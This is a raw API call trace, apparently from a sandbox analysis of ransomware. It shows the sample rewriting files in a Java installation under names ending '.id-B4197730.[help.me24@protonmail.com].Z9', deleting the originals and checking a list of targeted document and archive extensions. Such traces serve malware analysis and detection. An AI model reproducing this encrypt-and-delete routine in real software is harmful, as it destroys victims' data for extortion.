	[0163.777] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0163.778] GetLastError () returned 0x0
	[0163.778] ReadFile (in: hFile=0x38c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0xf9e, lpOverlapped=0x0) returned 1
	[0163.780] WriteFile (in: hFile=0x43c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0xfa0, lpOverlapped=0x0) returned 1
	[0163.781] ReadFile (in: hFile=0x38c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.781] WriteFile (in: hFile=0x43c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0163.781] SetEndOfFile (hFile=0x43c) returned 1
	[0163.781] CloseHandle (hObject=0x43c) returned 1
	[0163.781] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.781] SetEndOfFile (hFile=0x38c) returned 1
	[0164.018] CloseHandle (hObject=0x38c) returned 1
	[0164.018] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0164.018] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 1
	[0164.019] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0164.019] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0164.019] lstrlenW (lpString=".doc") returned 4
	[0164.019] lstrcmpiW (lpString1=".doc", lpString2="cess") returned -1
	[0164.019] lstrlenW (lpString=".docx") returned 5
	[0164.019] lstrcmpiW (lpString1=".docx", lpString2="ccess") returned -1
	[0164.019] lstrlenW (lpString=".pdf") returned 4
	[0164.019] lstrcmpiW (lpString1=".pdf", lpString2="cess") returned -1
	[0164.019] lstrlenW (lpString=".xls") returned 4
	[0164.020] lstrcmpiW (lpString1=".xls", lpString2="cess") returned -1
	[0164.020] lstrlenW (lpString=".xlsx") returned 5
	[0164.020] lstrcmpiW (lpString1=".xlsx", lpString2="ccess") returned -1
	[0164.020] lstrlenW (lpString=".ppt") returned 4
	[0164.020] lstrcmpiW (lpString1=".ppt", lpString2="cess") returned -1
	[0164.020] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0164.020] lstrlenW (lpString=".zip") returned 4
	[0164.020] lstrcmpiW (lpString1=".zip", lpString2="cess") returned -1
	[0164.020] lstrlenW (lpString=".rar") returned 4
	[0164.020] lstrcmpiW (lpString1=".rar", lpString2="cess") returned -1
	[0164.020] lstrlenW (lpString=".bz2") returned 4
	[0164.020] lstrcmpiW (lpString1=".bz2", lpString2="cess") returned -1
	[0164.020] lstrlenW (lpString=".7z") returned 3
	[0164.020] lstrcmpiW (lpString1=".7z", lpString2="ess") returned -1
	[0164.020] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0164.020] lstrlenW (lpString=".dbf") returned 4
	[0164.020] lstrcmpiW (lpString1=".dbf", lpString2="cess") returned -1
	[0164.020] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0164.020] lstrlenW (lpString=".1cd") returned 4
	[0164.020] lstrcmpiW (lpString1=".1cd", lpString2="cess") returned -1
	[0164.020] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0164.020] lstrlenW (lpString=".jpg") returned 4
	[0164.020] lstrcmpiW (lpString1=".jpg", lpString2="cess") returned -1
	[0164.020] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0164.020] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0164.020] lstrlenW (lpString=".doc") returned 4
	[0164.020] lstrcmpiW (lpString1=".doc", lpString2="cess") returned -1
	[0164.020] lstrlenW (lpString=".docx") returned 5
	[0164.020] lstrcmpiW (lpString1=".docx", lpString2="ccess") returned -1
	[0164.020] lstrlenW (lpString=".pdf") returned 4
	[0164.020] lstrcmpiW (lpString1=".pdf", lpString2="cess") returned -1
	[0164.020] lstrlenW (lpString=".xls") returned 4
	[0164.020] lstrcmpiW (lpString1=".xls", lpString2="cess") returned -1
	[0164.020] lstrlenW (lpString=".xlsx") returned 5
	[0164.020] lstrcmpiW (lpString1=".xlsx", lpString2="ccess") returned -1
	[0164.021] lstrlenW (lpString=".ppt") returned 4
	[0164.021] lstrcmpiW (lpString1=".ppt", lpString2="cess") returned -1
	[0164.021] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0164.021] lstrlenW (lpString=".zip") returned 4
	[0164.021] lstrcmpiW (lpString1=".zip", lpString2="cess") returned -1
	[0164.021] lstrlenW (lpString=".rar") returned 4
	[0164.021] lstrcmpiW (lpString1=".rar", lpString2="cess") returned -1
	[0164.021] lstrlenW (lpString=".bz2") returned 4
	[0164.021] lstrcmpiW (lpString1=".bz2", lpString2="cess") returned -1
	[0164.021] lstrlenW (lpString=".7z") returned 3
	[0164.021] lstrcmpiW (lpString1=".7z", lpString2="ess") returned -1
	[0164.021] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0164.021] lstrlenW (lpString=".dbf") returned 4
	[0164.021] lstrcmpiW (lpString1=".dbf", lpString2="cess") returned -1
	[0164.021] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0164.021] lstrlenW (lpString=".1cd") returned 4
	[0164.021] lstrcmpiW (lpString1=".1cd", lpString2="cess") returned -1
	[0164.021] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0164.021] lstrlenW (lpString=".jpg") returned 4
	[0164.021] lstrcmpiW (lpString1=".jpg", lpString2="cess") returned -1
	[0164.021] lstrcmpiW (lpString1=".template", lpString2=".Z9") returned -1
	[0164.021] lstrlenW (lpString="jmxremote.password.template") returned 27
	[0164.021] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0164.025] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=2856) returned 1
	[0164.025] CloseHandle (hObject=0x38c) returned 1
	[0164.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 0x20
	[0164.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.026] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0164.026] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.026] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.026] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0164.036] GetLastError () returned 0x0
	[0164.036] ReadFile (in: hFile=0x38c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0xb28, lpOverlapped=0x0) returned 1
	[0164.040] WriteFile (in: hFile=0x3e0, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0xb30, lpOverlapped=0x0) returned 1
	[0164.041] ReadFile (in: hFile=0x38c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.041] WriteFile (in: hFile=0x3e0, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0164.041] SetEndOfFile (hFile=0x3e0) returned 1
	[0164.041] CloseHandle (hObject=0x3e0) returned 1
	[0164.041] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.041] SetEndOfFile (hFile=0x38c) returned 1
	[0164.048] CloseHandle (hObject=0x38c) returned 1
	[0164.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0164.048] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 1
	[0164.049] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0164.049] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0164.049] lstrlenW (lpString=".doc") returned 4
	[0164.049] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1
	[0164.049] lstrlenW (lpString=".docx") returned 5
	[0164.049] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1
	[0164.049] lstrlenW (lpString=".pdf") returned 4
	[0164.049] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1
	[0164.049] lstrlenW (lpString=".xls") returned 4
	[0164.049] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1
	[0164.049] lstrlenW (lpString=".xlsx") returned 5
	[0164.049] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1
	[0164.049] lstrlenW (lpString=".ppt") returned 4
	[0164.049] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1
	[0164.049] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0164.049] lstrlenW (lpString=".zip") returned 4
	[0164.049] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1
	[0164.049] lstrlenW (lpString=".rar") returned 4
	[0164.049] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1
	[0164.049] lstrlenW (lpString=".bz2") returned 4
	[0164.049] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1
	[0164.049] lstrlenW (lpString=".7z") returned 3
	[0164.049] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1
	[0164.049] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0164.049] lstrlenW (lpString=".dbf") returned 4
	[0164.049] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1
	[0164.049] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0164.049] lstrlenW (lpString=".1cd") returned 4
	[0164.049] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1
	[0164.049] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0164.049] lstrlenW (lpString=".jpg") returned 4
	[0164.050] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1
	[0164.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0164.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0164.050] lstrlenW (lpString=".doc") returned 4
	[0164.050] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1
	[0164.050] lstrlenW (lpString=".docx") returned 5
	[0164.050] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1
	[0164.050] lstrlenW (lpString=".pdf") returned 4
	[0164.050] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1
	[0164.050] lstrlenW (lpString=".xls") returned 4
	[0164.050] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1
	[0164.050] lstrlenW (lpString=".xlsx") returned 5
	[0164.050] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1
	[0164.050] lstrlenW (lpString=".ppt") returned 4
	[0164.050] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1
	[0164.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0164.050] lstrlenW (lpString=".zip") returned 4
	[0164.050] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1
	[0164.050] lstrlenW (lpString=".rar") returned 4
	[0164.050] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1
	[0164.050] lstrlenW (lpString=".bz2") returned 4
	[0164.050] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1
	[0164.050] lstrlenW (lpString=".7z") returned 3
	[0164.051] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1
	[0164.051] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0164.051] lstrlenW (lpString=".dbf") returned 4
	[0164.051] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1
	[0164.051] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0164.051] lstrlenW (lpString=".1cd") returned 4
	[0164.051] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1
	[0164.051] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77
	[0164.051] lstrlenW (lpString=".jpg") returned 4
	[0164.051] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1
	[0164.051] lstrcmpiW (lpString1=".properties", lpString2=".Z9") returned -1
	[0164.051] lstrlenW (lpString="management.properties") returned 21
	[0164.051] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0164.052] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=14630) returned 1
	[0164.052] CloseHandle (hObject=0x38c) returned 1
	[0164.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties")) returned 0x20
	[0164.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.052] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0164.053] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.053] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.053] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0164.054] GetLastError () returned 0x0
	[0164.054] ReadFile (in: hFile=0x38c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x3926, lpOverlapped=0x0) returned 1
	[0164.065] WriteFile (in: hFile=0x45c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x3930, lpOverlapped=0x0) returned 1
	[0164.409] ReadFile (in: hFile=0x38c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.409] WriteFile (in: hFile=0x45c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0xfe, lpOverlapped=0x0) returned 1
	[0164.409] SetEndOfFile (hFile=0x45c) returned 1
	[0164.409] CloseHandle (hObject=0x45c) returned 1
	[0164.409] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.409] SetEndOfFile (hFile=0x38c) returned 1
	[0164.422] CloseHandle (hObject=0x38c) returned 1
	[0164.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0164.883] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties")) returned 1
	[0164.884] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0164.884] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0164.884] lstrlenW (lpString=".doc") returned 4
	[0164.884] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0164.884] lstrlenW (lpString=".docx") returned 5
	[0164.884] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0164.884] lstrlenW (lpString=".pdf") returned 4
	[0164.884] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0164.884] lstrlenW (lpString=".xls") returned 4
	[0164.884] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0164.884] lstrlenW (lpString=".xlsx") returned 5
	[0164.885] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0164.885] lstrlenW (lpString=".ppt") returned 4
	[0164.885] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0164.885] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0164.885] lstrlenW (lpString=".zip") returned 4
	[0164.885] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0164.885] lstrlenW (lpString=".rar") returned 4
	[0164.885] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0164.885] lstrlenW (lpString=".bz2") returned 4
	[0164.885] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0164.885] lstrlenW (lpString=".7z") returned 3
	[0164.885] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0164.885] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0164.885] lstrlenW (lpString=".dbf") returned 4
	[0164.885] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0164.885] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0164.885] lstrlenW (lpString=".1cd") returned 4
	[0164.885] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0164.885] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0164.885] lstrlenW (lpString=".jpg") returned 4
	[0164.885] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0164.885] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0164.885] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0164.885] lstrlenW (lpString=".doc") returned 4
	[0164.885] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0164.885] lstrlenW (lpString=".docx") returned 5
	[0164.885] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0164.885] lstrlenW (lpString=".pdf") returned 4
	[0164.885] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0164.885] lstrlenW (lpString=".xls") returned 4
	[0164.886] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0164.886] lstrlenW (lpString=".xlsx") returned 5
	[0164.886] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0164.886] lstrlenW (lpString=".ppt") returned 4
	[0164.886] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0164.886] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0164.886] lstrlenW (lpString=".zip") returned 4
	[0164.886] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0164.886] lstrlenW (lpString=".rar") returned 4
	[0164.886] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0164.886] lstrlenW (lpString=".bz2") returned 4
	[0164.886] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0164.886] lstrlenW (lpString=".7z") returned 3
	[0164.886] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0164.886] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0164.886] lstrlenW (lpString=".dbf") returned 4
	[0164.886] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0164.886] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0164.886] lstrlenW (lpString=".1cd") returned 4
	[0164.886] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0164.886] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0164.886] lstrlenW (lpString=".jpg") returned 4
	[0164.886] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0164.886] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0164.887] lstrlenW (lpString="local_policy.jar") returned 16
	[0164.887] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0164.887] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=3527) returned 1
	[0164.887] CloseHandle (hObject=0x470) returned 1
	[0164.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar")) returned 0x20
	[0164.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.888] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0164.888] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.888] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.888] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474
	[0164.889] GetLastError () returned 0x0
	[0164.889] ReadFile (in: hFile=0x470, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0xdc7, lpOverlapped=0x0) returned 1
	[0164.891] WriteFile (in: hFile=0x474, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0xdd0, lpOverlapped=0x0) returned 1
